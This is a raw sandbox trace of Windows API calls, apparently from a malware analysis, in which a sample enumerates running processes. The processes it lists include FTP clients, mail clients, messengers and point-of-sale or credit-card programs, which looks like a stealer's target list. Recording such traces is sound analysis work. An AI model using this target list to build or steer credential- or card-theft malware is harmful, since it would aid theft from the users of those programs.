hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.214] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.216] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.218] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.220] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.222] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.224] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.226] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.228] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.230] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.231] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.233] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.237] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.239] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.240] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0235.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0235.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.250] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0235.252] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0235.333] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0235.335] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0235.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0235.339] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0235.340] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0235.342] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0235.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0235.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0235.347] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0235.348] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0235.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0235.351] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0235.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0235.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0235.356] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0235.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0235.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0235.360] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0235.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0235.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0235.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0235.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0235.367] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0235.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0235.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0235.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0235.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0235.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0235.377] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0235.429] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0235.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0235.435] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0235.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0235.440] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0235.444] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0235.446] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0235.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0235.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0235.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0235.456] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0235.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0235.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0235.463] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0235.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0235.469] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0235.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0235.533] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0235.537] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0235.539] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0235.542] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0235.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0235.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0235.549] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0235.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0235.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0235.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0235.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0235.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0235.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 